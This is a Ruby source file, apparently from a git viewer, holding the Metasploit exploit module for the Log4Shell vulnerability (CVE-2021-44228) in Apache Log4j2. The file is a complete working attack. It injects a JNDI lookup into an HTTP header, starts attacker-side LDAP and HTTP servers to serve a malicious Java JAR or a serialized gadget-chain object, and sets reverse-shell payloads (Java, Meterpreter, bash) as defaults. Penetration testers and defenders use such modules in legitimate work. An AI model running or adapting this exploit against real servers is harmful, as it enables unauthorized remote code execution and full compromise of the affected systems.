b743296f48
This reverts commit 628275ef59.
296 lines
9.9 KiB
Ruby
296 lines
9.9 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Exploit::Remote::Log4Shell
|
|
include Msf::Exploit::Remote::HttpClient
|
|
include Msf::Exploit::Remote::CheckModule
|
|
prepend Msf::Exploit::Remote::AutoCheck
|
|
|
|
def initialize(_info = {})
|
|
super(
|
|
'Name' => 'Log4Shell HTTP Header Injection',
|
|
'Description' => %q{
|
|
Versions of Apache Log4j2 impacted by CVE-2021-44228 which allow JNDI features used in configuration,
|
|
log messages, and parameters, do not protect against attacker controlled LDAP and other JNDI related endpoints.
|
|
|
|
This module will exploit an HTTP end point with the Log4Shell vulnerability by injecting a format message that
|
|
will trigger an LDAP connection to Metasploit and load a payload.
|
|
|
|
The Automatic target delivers a Java payload using remote class loading. This requires Metasploit to run an HTTP
|
|
server in addition to the LDAP server that the target can connect to. The targeted application must have the
|
|
trusted code base option enabled for this technique to work.
|
|
|
|
The non-Automatic targets deliver a payload via a serialized Java object. This does not require Metasploit to
|
|
run an HTTP server and instead leverages the LDAP server to deliver the serialized object. The target
|
|
application in this case must be compatible with the user-specified JAVA_GADGET_CHAIN option.
|
|
},
|
|
'Author' => [
|
|
'Michael Schierl', # Technical guidance, examples, and patience - all of the Jedi stuff
|
|
'juan vazquez', # 2011-3544 building blocks reused in this module
|
|
'sinn3r', # 2011-3544 building blocks reused in this module
|
|
'Spencer McIntyre', # Kickoff on 2021-44228 work, improvements, and polish required for formal acceptance
|
|
'RageLtMan <rageltman[at]sempervictus>' # Metasploit module and infrastructure
|
|
],
|
|
'References' => [
|
|
[ 'CVE', '2021-44228' ],
|
|
],
|
|
'DisclosureDate' => '2021-12-09',
|
|
'License' => MSF_LICENSE,
|
|
'DefaultOptions' => {
|
|
'SRVPORT' => 389,
|
|
'WfsDelay' => 30,
|
|
'CheckModule' => 'auxiliary/scanner/http/log4shell_scanner'
|
|
},
|
|
'Targets' => [
|
|
[
|
|
'Automatic', {
|
|
'Platform' => 'java',
|
|
'Arch' => [ARCH_JAVA],
|
|
'RemoteLoad' => true,
|
|
'DefaultOptions' => {
|
|
'PAYLOAD' => 'java/shell_reverse_tcp'
|
|
}
|
|
}
|
|
],
|
|
[
|
|
'Windows', {
|
|
'Platform' => 'win',
|
|
'RemoteLoad' => false,
|
|
'DefaultOptions' => {
|
|
'PAYLOAD' => 'windows/meterpreter/reverse_tcp'
|
|
}
|
|
},
|
|
],
|
|
[
|
|
'Linux', {
|
|
'Platform' => 'unix',
|
|
'RemoteLoad' => false,
|
|
'Arch' => [ARCH_CMD],
|
|
'DefaultOptions' => {
|
|
'PAYLOAD' => 'cmd/unix/reverse_bash'
|
|
}
|
|
},
|
|
]
|
|
],
|
|
'Notes' => {
|
|
'Stability' => [CRASH_SAFE],
|
|
'SideEffects' => [IOC_IN_LOGS],
|
|
'AKA' => ['Log4Shell', 'LogJam'],
|
|
'Reliability' => [REPEATABLE_SESSION],
|
|
'RelatedModules' => [ 'auxiliary/scanner/http/log4shell_scanner' ]
|
|
}
|
|
)
|
|
register_options([
|
|
OptString.new('HTTP_METHOD', [ true, 'The HTTP method to use', 'GET' ]),
|
|
OptString.new('TARGETURI', [ true, 'The URI to scan', '/']),
|
|
OptString.new('HTTP_HEADER', [ false, 'The HTTP header to inject into' ]),
|
|
OptEnum.new('JAVA_GADGET_CHAIN', [
|
|
true, 'The Java gadget chain to use for deserialization', 'CommonsBeanutils1',
|
|
Msf::Exploit::JavaDeserialization.gadget_chains
|
|
], conditions: %w[TARGET != Automatic]),
|
|
OptPort.new('HTTP_SRVPORT', [true, 'The HTTP server port', 8080], conditions: %w[TARGET == Automatic])
|
|
])
|
|
register_advanced_options([
|
|
OptPort.new('HttpListenerBindPort', [false, 'The port to bind to if different from HTTP_SRVPORT'])
|
|
])
|
|
end
|
|
|
|
def check
|
|
validate_configuration!
|
|
|
|
@checkcode = super
|
|
end
|
|
|
|
def check_options
|
|
opts = { 'LDAP_TIMEOUT' => datastore['WfsDelay'], 'URIS_FILE' => nil }
|
|
opts['HEADERS_FILE'] = nil unless datastore['HTTP_HEADER'].blank?
|
|
opts
|
|
end
|
|
|
|
def resource_url_string
|
|
"http#{datastore['SSL'] ? 's' : ''}://#{Rex::Socket.to_authority(srvhost_addr, datastore['HTTP_SRVPORT'])}#{resource_uri}"
|
|
end
|
|
|
|
#
|
|
# Use Ruby Java bridge to create a Java-natively-serialized object
|
|
#
|
|
# @return [String] Marshalled serialized byteArray of the loader class
|
|
def byte_array_payload(pay_class = 'metasploit.PayloadFactory')
|
|
jar = generate_payload.encoded_jar
|
|
serialized_class_from_jar(jar, pay_class)
|
|
end
|
|
|
|
#
|
|
# Insert PayloadFactory in Java payload JAR
|
|
#
|
|
# @param jar [Rex::Zip::Jar] payload JAR to update
|
|
# @return [Rex::Zip::Jar] updated payload JAR
|
|
def inject_jar_payload_factory(jar = generate_payload.encoded_jar)
|
|
# From exploits/multi/browser/java_rhino - should probably go to lib
|
|
paths = [
|
|
[ 'metasploit/PayloadFactory.class' ]
|
|
]
|
|
paths.each do |path|
|
|
1.upto(path.length - 1) do |idx|
|
|
full = path[0, idx].join('/') + '/'
|
|
jar.add_file(full, '') unless jar.entries.map(&:name).include?(full)
|
|
end
|
|
File.open(File.join(Msf::Config.data_directory, 'exploits', 'CVE-2021-44228', path), 'rb') do |fd|
|
|
data = fd.read(fd.stat.size)
|
|
jar.add_file(path.join('/'), data)
|
|
end
|
|
end
|
|
jar
|
|
end
|
|
|
|
def build_ldap_search_response_payload
|
|
if target['RemoteLoad']
|
|
build_ldap_search_response_payload_remote(resource_url_string)
|
|
else
|
|
build_ldap_search_response_payload_inline(datastore['JAVA_GADGET_CHAIN'])
|
|
end
|
|
end
|
|
|
|
## HTTP service callbacks
|
|
#
|
|
# Handle HTTP requests and responses
|
|
#
|
|
def on_request_uri(cli, request)
|
|
agent = request.headers['User-Agent']
|
|
vprint_good("Payload requested by #{cli.peerhost} using #{agent}")
|
|
pay = regenerate_payload(cli)
|
|
jar = inject_jar_payload_factory(pay.encoded_jar)
|
|
send_response(cli, 200, 'OK', jar)
|
|
end
|
|
|
|
#
|
|
# Create an HTTP response and then send it
|
|
#
|
|
def send_response(cli, code, message = 'OK', html = '')
|
|
proto = Rex::Proto::Http::DefaultProtocol
|
|
res = Rex::Proto::Http::Response.new(code, message, proto)
|
|
res['Content-Type'] = 'application/java-archive'
|
|
res.body = html
|
|
cli.send_response(res)
|
|
end
|
|
|
|
def exploit
|
|
validate_configuration!
|
|
if datastore['HTTP_HEADER'].blank?
|
|
targetinfo = (@checkcode&.details || []).reject { |ti| ti[:headers].blank? }.first
|
|
http_header = targetinfo[:headers].keys.first if targetinfo
|
|
fail_with(Failure::BadConfig, 'No HTTP_HEADER was specified and none were found automatically') unless http_header
|
|
|
|
print_good("Automatically identified vulnerable header: #{http_header}")
|
|
else
|
|
http_header = datastore['HTTP_HEADER']
|
|
end
|
|
|
|
# LDAP service
|
|
start_service
|
|
# HTTP service
|
|
if target['RemoteLoad']
|
|
start_http_service('ServerPort' => (datastore['HttpListenerBindPort'].blank? ? datastore['HTTP_SRVPORT'] : datastore['HttpListenerBindPort']).to_i)
|
|
end
|
|
# HTTP request initiator
|
|
send_request_raw(
|
|
'uri' => normalize_uri(target_uri),
|
|
'method' => datastore['HTTP_METHOD'],
|
|
'headers' => { http_header => log4j_jndi_string }
|
|
)
|
|
sleep(datastore['WfsDelay'])
|
|
handler
|
|
ensure
|
|
cleanup
|
|
end
|
|
|
|
#
|
|
# Kill HTTP & LDAP services (shut them down and clear resources)
|
|
#
|
|
def cleanup
|
|
# Clean and stop HTTP server
|
|
if @http_service
|
|
begin
|
|
@http_service.remove_resource(datastore['URIPATH'])
|
|
@http_service.deref
|
|
@http_service.stop
|
|
@http_service = nil
|
|
rescue StandardError => e
|
|
print_error("Failed to stop http server due to #{e}")
|
|
end
|
|
end
|
|
super
|
|
end
|
|
|
|
def validate_configuration!
|
|
super
|
|
|
|
if datastore['HTTP_HEADER'].blank? && !datastore['AutoCheck']
|
|
fail_with(Exploit::Failure::BadConfig, 'Either the AutoCheck option must be enabled or an HTTP_HEADER must be specified.')
|
|
end
|
|
end
|
|
|
|
private
|
|
|
|
# Boilerplate HTTP service code
|
|
#
|
|
# Returns the configured (or random, if not configured) URI path
|
|
#
|
|
def resource_uri
|
|
path = datastore['URIPATH'] || rand_text_alphanumeric(rand(8..15)) + '.jar'
|
|
path = '/' + path if path !~ %r{^/}
|
|
if path !~ /\.jar$/
|
|
print_status("Appending .jar extension to #{path} as we don't yet serve classpaths")
|
|
path += '.jar'
|
|
end
|
|
datastore['URIPATH'] = path
|
|
return path
|
|
end
|
|
|
|
#
|
|
# Handle the HTTP request and return a response. Code borrowed from:
|
|
# msf/core/exploit/http/server.rb
|
|
#
|
|
def start_http_service(opts = {})
|
|
# Start a new HTTP server
|
|
@http_service = Rex::ServiceManager.start(
|
|
Rex::Proto::Http::Server,
|
|
(opts['ServerPort'] || bindport).to_i,
|
|
opts['ServerHost'] || bindhost,
|
|
datastore['SSL'],
|
|
{
|
|
'Msf' => framework,
|
|
'MsfExploit' => self
|
|
},
|
|
opts['Comm'] || _determine_server_comm(opts['ServerHost'] || bindhost),
|
|
datastore['SSLCert'],
|
|
datastore['SSLCompression'],
|
|
datastore['SSLCipher'],
|
|
datastore['SSLVersion']
|
|
)
|
|
@http_service.server_name = datastore['HTTP::server_name']
|
|
# Default the procedure of the URI to on_request_uri if one isn't
|
|
# provided.
|
|
uopts = {
|
|
'Proc' => method(:on_request_uri),
|
|
'Path' => resource_uri
|
|
}.update(opts['Uri'] || {})
|
|
proto = (datastore['SSL'] ? 'https' : 'http')
|
|
|
|
netloc = opts['ServerHost'] || bindhost
|
|
http_srvport = (opts['ServerPort'] || bindport).to_i
|
|
if (proto == 'http' && http_srvport != 80) || (proto == 'https' && http_srvport != 443)
|
|
netloc = Rex::Socket.to_authority(netloc, http_srvport)
|
|
end
|
|
print_status("Serving Java code on: #{proto}://#{netloc}#{uopts['Path']}")
|
|
|
|
# Add path to resource
|
|
@service_path = uopts['Path']
|
|
@http_service.add_resource(uopts['Path'], uopts)
|
|
end
|
|
end
|